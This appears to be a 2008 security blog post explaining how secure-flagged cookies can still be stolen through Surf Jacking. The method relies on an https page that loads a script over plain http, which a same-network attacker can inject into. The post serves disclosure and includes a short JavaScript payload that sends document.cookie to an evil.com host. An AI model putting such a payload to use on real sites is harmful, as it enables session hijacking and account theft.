Wednesday, September 24th, 2008
I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…
The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.
Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag. An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking). Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear… I’m safe… right?
Not so fast… If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure. Let me explain…
If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network. Let’s say I have a page on xs-sniper.com that does analytics for my web application. We’ll name this page http://xs-sniper.com/analytics.html. This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served. Inside of the page’s HTML is a script src tag that looks something like this:
CookiesStealer = new Image();
CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;
The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure. There you go… Secure cookies stolen.
Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location. Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location? You can find the answer here. For those of you in disbelief, you can test your favorite browser(s) here.
SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…
CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.